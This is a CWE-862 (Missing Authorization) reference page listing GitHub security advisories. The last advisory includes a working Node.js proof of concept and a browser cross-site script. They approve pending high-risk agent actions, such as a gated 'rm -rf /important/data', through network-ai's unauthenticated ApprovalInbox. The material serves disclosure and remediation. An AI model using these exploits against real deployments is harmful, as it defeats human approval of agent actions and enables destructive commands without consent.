Common Weakness Enumeration

CWE-862

Weakness Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Dimensions

  • Behavior-Property: Missing
  • Behavior-Type: Authorization
Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-285 · View CWE-1000
  • Behavior-Property: Improper
ChildOf: CWE-284 · View CWE-1340
  • Behavior-Property: Improper
  • Behavior-Type: Access Control
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Operation
Detection methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

Content history
Submission: CWE Content Team · MITRE · 2011-05-24 · CWE 1.13
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.16

Provided diagram to improve CWE usability

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-02-18 · CWE 2.6

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Modes_of_Introduction, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Alternate_Terms, Observed_Examples

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Observed_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

20148 vulnerabilities reference this CWE, most recent first.

GHSA-MXH2-28RW-2FWM

Vulnerability from github – Published: 2026-10-11 00:30 – Updated: 2026-10-11 00:30
VLAI
Details

JeecgBoot through 3.9.5 contains a missing authorization vulnerability in the AiragExtDataController exportXls handler that allows any authenticated user to export AI evaluator data. Low-privileged attackers can request /airag/extData/exportXls to download every user's airag_ext_data evaluator definitions and test-tracking records as an Excel workbook.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-108614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-10T22:16:35Z",
    "severity": "MODERATE"
  },
  "details": "JeecgBoot through 3.9.5 contains a missing authorization vulnerability in the AiragExtDataController exportXls handler that allows any authenticated user to export AI evaluator data. Low-privileged attackers can request /airag/extData/exportXls to download every user\u0027s airag_ext_data evaluator definitions and test-tracking records as an Excel workbook.",
  "id": "GHSA-mxh2-28rw-2fwm",
  "modified": "2026-10-11T00:30:52Z",
  "published": "2026-10-11T00:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108614"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_airag_extdata_prompts_export.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/prompts/controller/AiragExtDataController.java#L190-L199"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-airag-extdata-exportxls"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MXH6-WMV3-9HG9

Vulnerability from github – Published: 2026-08-16 06:30 – Updated: 2026-08-16 06:30
VLAI
Details

The Kubio AI Page Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.8.5. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to overwrite front-page configuration options (show_on_front, page_on_front, and page_for_posts), rewrite primary navigation menu items, replace template parts, and overwrite the Kubio global-data post. Although a nonce check via check_ajax_referer() is present, the nonce is unconditionally emitted into window.kubioUtilsData for every user who can load the block editor, making it harvestable by any Contributor and therefore an ineffective authorization barrier.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-16T05:16:47Z",
    "severity": "MODERATE"
  },
  "details": "The Kubio AI Page Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.8.5. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to overwrite front-page configuration options (show_on_front, page_on_front, and page_for_posts), rewrite primary navigation menu items, replace template parts, and overwrite the Kubio global-data post. Although a nonce check via check_ajax_referer() is present, the nonce is unconditionally emitted into window.kubioUtilsData for every user who can load the block editor, making it harvestable by any Contributor and therefore an ineffective authorization barrier.",
  "id": "GHSA-mxh6-wmv3-9hg9",
  "modified": "2026-08-16T06:30:25Z",
  "published": "2026-08-16T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16779"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/kubio/tags/2.8.5/lib/editor-assets.php#L411"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/kubio/tags/2.8.5/lib/kubio-block-library.php#L197"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/kubio/tags/2.8.5/lib/src/Core/KubioFrontPageRevertNotice.php#L151"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/kubio/tags/2.8.5/lib/src/Core/KubioFrontPageRevertNotice.php#L25"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3633801%40kubio\u0026new=3633801%40kubio"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/febca991-90a0-46b8-9609-2c8a71b5eb5f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXHM-55RX-J7V5

Vulnerability from github – Published: 2024-06-19 15:30 – Updated: 2024-06-19 15:30
VLAI
Details

Missing Authorization vulnerability in Woo AutomateWoo.This issue affects AutomateWoo: from n/a through 5.7.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T13:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Woo AutomateWoo.This issue affects AutomateWoo: from n/a through 5.7.5.",
  "id": "GHSA-mxhm-55rx-j7v5",
  "modified": "2024-06-19T15:30:52Z",
  "published": "2024-06-19T15:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36512"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/automatewoo/wordpress-automatewoo-plugin-5-7-5-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXHR-5H76-4875

Vulnerability from github – Published: 2024-09-06 09:32 – Updated: 2024-09-06 09:32
VLAI
Details

The Frontend Post Submission Manager Lite – Frontend Posting WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_global_settings and process_form_edit functions in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's settings and forms.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-06T07:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The Frontend Post Submission Manager Lite \u2013 Frontend Posting WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_global_settings and process_form_edit functions in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin\u0027s settings and forms.",
  "id": "GHSA-mxhr-5h76-4875",
  "modified": "2024-09-06T09:32:31Z",
  "published": "2024-09-06T09:32:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8427"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/frontend-post-submission-manager-lite/tags/1.2.2/includes/classes/admin/class-fpsml-ajax-admin.php#L25"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3147218/frontend-post-submission-manager-lite/trunk/includes/classes/admin/class-fpsml-ajax-admin.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e84b68b6-1ce8-45fb-823f-a61158aa4d21?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXJF-VFMV-QFM6

Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-09-08 17:54
Withdrawn 2026-09-08 VLAI
Summary
Duplicate Advisory: Notebook name, document count, size and timestamps are returned for any notebook, including notebooks hidden from readers, by /api/notebook/getNotebookInfo
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-74pj-6g7r-j55c. This link is maintained to preserve external references.

Original Description

SiYuan before v3.7.4 contains an information disclosure vulnerability in the /api/notebook/getNotebookInfo endpoint that returns notebook metadata without authorization checks. Attackers can read notebook names, document counts, sizes, and timestamps for closed or non-published notebooks that should be hidden from readers.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 3.7.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T17:54:00Z",
    "nvd_published_at": "2026-08-12T20:17:50Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-74pj-6g7r-j55c. This link is maintained to preserve external references.\n\n## Original Description\nSiYuan before v3.7.4 contains an information disclosure vulnerability in the /api/notebook/getNotebookInfo endpoint that returns notebook metadata without authorization checks. Attackers can read notebook names, document counts, sizes, and timestamps for closed or non-published notebooks that should be hidden from readers.",
  "id": "GHSA-mxjf-vfmv-qfm6",
  "modified": "2026-09-08T17:54:00Z",
  "published": "2026-08-12T21:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-74pj-6g7r-j55c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72790"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/siyuan-before-information-disclosure-via-getnotebookinfo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Notebook name, document count, size and timestamps are returned for any notebook, including notebooks hidden from readers, by /api/notebook/getNotebookInfo",
  "withdrawn": "2026-09-08T17:54:00Z"
}

GHSA-MXJG-FXMC-M49M

Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-23 15:33
VLAI
Details

Missing Authorization vulnerability in socialmediafeather Social Media Feather allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Social Media Feather: from n/a through 2.1.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-49861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T13:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in socialmediafeather Social Media Feather allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Social Media Feather: from n/a through 2.1.3.",
  "id": "GHSA-mxjg-fxmc-m49m",
  "modified": "2026-04-23T15:33:39Z",
  "published": "2024-12-09T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49861"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/social-media-feather/vulnerability/wordpress-social-media-feather-plugin-2-1-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXJX-28VX-XJJJ

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions
Details

Summary

network-ai's ApprovalInbox (lib/approval-inbox.ts) is a shipped, exported, documented feature — "a web-accessible approval queue with REST API … and SSE streaming" (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which ApprovalGate uses to require explicit human approval for "high-risk operations (writes, shell commands, budget spend)" (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets Access-Control-Allow-Origin: * on every route, including the state-changing POST /approvals/:id/approve and /deny.

As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.

This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary ApprovalInbox server never received that hardening.

  • Affected: network-ai <= 5.11.0 (current latest), lib/approval-inbox.ts — httpHandler() / routeRequest() / startServer(). ApprovalInbox is public API (exported from index.ts:1126).
  • CWE: CWE-862 (Missing Authorization) + CWE-352 (Cross-Site Request Forgery, via wildcard CORS).
  • CVSS v3.1 (proposed):
  • Drive-by CSRF against the default 127.0.0.1 deployment: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N = 5.9 Medium.
  • Direct request when the operator binds a non-loopback address (or local/SSRF reach): AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N = 8.1 High.

Details

No authentication on the request pipeline (lib/approval-inbox.ts)

httpHandler() sets a wildcard CORS policy and routes every request straight to routeRequest() with no auth check:

// lib/approval-inbox.ts:250-275
httpHandler() {
  return (req, res) => {
    ...
    res.setHeader('Access-Control-Allow-Origin', '*');          // 256  <-- wildcard CORS
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
    if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }   // preflight OK for any origin
    ...
    this.routeRequest(req, res, subPath, url);                  // 273  <-- no token / secret / origin gate
  };
}

routeRequest() exposes list + approve/deny with no credential check (default pathPrefix = /approvals):

// lib/approval-inbox.ts:369-405
routeRequest(req, res, subPath, url) {
  if (subPath === '/' && req.method === 'GET') {                       // GET /approvals/  -> enumerate pending ids
    this.sendJson(res, 200, this.list(status)); return;
  }
  ...
  const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/);      // POST /approvals/:id/approve
  if (approveMatch && req.method === 'POST') {
    this.readBody(req).then((body) => {
      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  // defaults to 'anonymous'
      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -> action proceeds
      ...
    });
  }
}

approve() resolves the pending promise that ApprovalGate is awaiting, so the gated action proceeds:

// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
  ...
  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}
}

startServer() binds the handler (default 127.0.0.1, but any host the caller passes):

// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
  const server = createServer(this.httpHandler());
  server.listen(port, hostname);
  return server;
}

There is no option to supply a secret/token (unlike McpSseServer/McpHttpServer, which require one and fail closed), and the wildcard ACAO: * is hardcoded — an operator cannot configure their way out of it.

Why the wildcard CORS matters

The two routes needed for exploitation are reachable cross-origin: - GET /approvals/?status=pending is a CORS simple request; ACAO: * lets a malicious page read the response and learn the pending approval ids. - POST /approvals/:id/approve with Content-Type: application/json triggers a preflight, which succeeds because the server answers OPTIONS with ACAO: *, Access-Control-Allow-Methods: …POST…, and Access-Control-Allow-Headers: Content-Type. The browser then sends the approve. approvedBy defaults to 'anonymous', so no special body is required.

So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.

Proof of Concept

Self-contained against the published network-ai@5.11.0 package (no project files needed; re-confirmed 2026-06-17). It starts the documented ApprovalInbox server, has an agent submit a high-risk gated action, then acts as an unauthenticated client.

mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0
node poc.mjs

poc.mjs:

import { ApprovalInbox } from "network-ai";
import http from "node:http";

const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header
  const data = body ? JSON.stringify(body) : undefined;
  const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
    headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
    (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
  r.on("error", reject); if (data) r.write(data); r.end();
});

const inbox = new ApprovalInbox();
const gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1");                          // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));

let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
  agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);

const list = await req("GET", "/approvals/?status=pending");   // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" });  // and approves one
console.log("[attacker] GET /approvals/  (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);

Output:

Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true

The gated action (shell_execute: rm -rf /important/data, riskLevel: high) is approved by a client that sent no Authorization header, and the ApprovalGate promise resolves { approved: true } — the agent proceeds.

Browser CSRF variant (no tooling, just a visited page):

<script>
fetch('http://127.0.0.1:PORT/approvals/?status=pending')      // ACAO:* -> readable
  .then(r => r.json())
  .then(list => list.forEach(e =>
    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {
      method: 'POST', headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ approvedBy: 'attacker' })          // preflight passes via ACAO:*
    })));
</script>

Impact

The Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker: - Approve any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed). - Read pending requests (GET /approvals, /stats) → disclosure of queued action details (command strings, file paths, justifications). - Deny pending actions → suppress legitimate operations.

The attacker controls the approval decision, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose ("web-accessible approval queue").

Alignment with the security policy & documentation (in scope; not intended/documented behavior)

This finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:

  • Documented as a security measure, never as intentionally unauthenticated. SECURITY.md lists the Approval Inbox under "Security Measures in Network-AI" — "ApprovalInbox provides a web-accessible approval queue with REST API (/list, /approve/:id, /deny/:id, /stats)" — and README.md / ENTERPRISE.md describe it the same way. No document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for "writes, shell commands, budget spend") that anyone can bypass without credentials is a defect in that control, not its intended behavior.
  • The project's own threat model treats this exact adversary as in scope. THREAT_MODEL.md §3.1 designs against an "Unauthenticated Network Caller" that can reach a bound TCP port, with mitigations: require a non-empty secret, default to 127.0.0.1, warn on non-loopback bind. It applies all of these to the MCP server — but it never lists ApprovalInbox as a network boundary at all (an omission, not a carve-out), and the inbox has none of those mitigations.
  • Direct precedent — the maintainer already fixed this class. The identical issue on the MCP server was accepted and patched: GHSA-j3vx-cx2r-pvg8 ("Unauthenticated Cross-Origin MCP Tool Invocation," fixed in v5.4.5 by requiring a secret and restricting CORS to localhost origins) and GHSA-r78r-rwrf-rjwp (fail-closed on empty secret, v5.7.2). The ApprovalInbox is a second network-reachable server with the same flaw; it simply never received that hardening.
  • No carve-out covers it. The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub "by-design" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 inter-agent messaging) are unrelated — the approval inbox is a control plane, not inter-agent transport.
  • The operator cannot fix it within the library. Unlike the MCP server (which now accepts a secret), ApprovalInbox exposes no auth option and hardcodes Access-Control-Allow-Origin: *. So "the operator should add auth / restrict CORS" is not available — there is no hook to do so. And "it's opt-in / operator-exposed" did not exempt the MCP server, which is equally optional and explicitly started.

Honest scope caveat (state it plainly in the report). ApprovalInbox.startServer() is opt-in (not auto-started by a CLI bin) and defaults to 127.0.0.1, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.

Recommended fix

  1. Require a bearer secret on the inbox HTTP server, fail closed on empty secret, and verify it on /approve, /deny, and ideally the list/stats/SSE routes — mirroring the hardening already applied to McpSseServer/McpHttpServer.
  2. Remove the hardcoded Access-Control-Allow-Origin: *; default to no CORS (same-origin) or an explicit allowlist, and never reflect * on the mutating routes.
  3. Optionally add a CSRF token / require a non-simple custom header on POST to block browser-driven approval.

References

  • CWE-862, CWE-352
  • Affected: lib/approval-inbox.ts (httpHandler l.256 CORS, routeRequest l.369-405 no-auth approve/deny, startServer l.281); exported at index.ts:1126.
  • Same class as prior accepted advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The ApprovalInbox server never received this hardening.
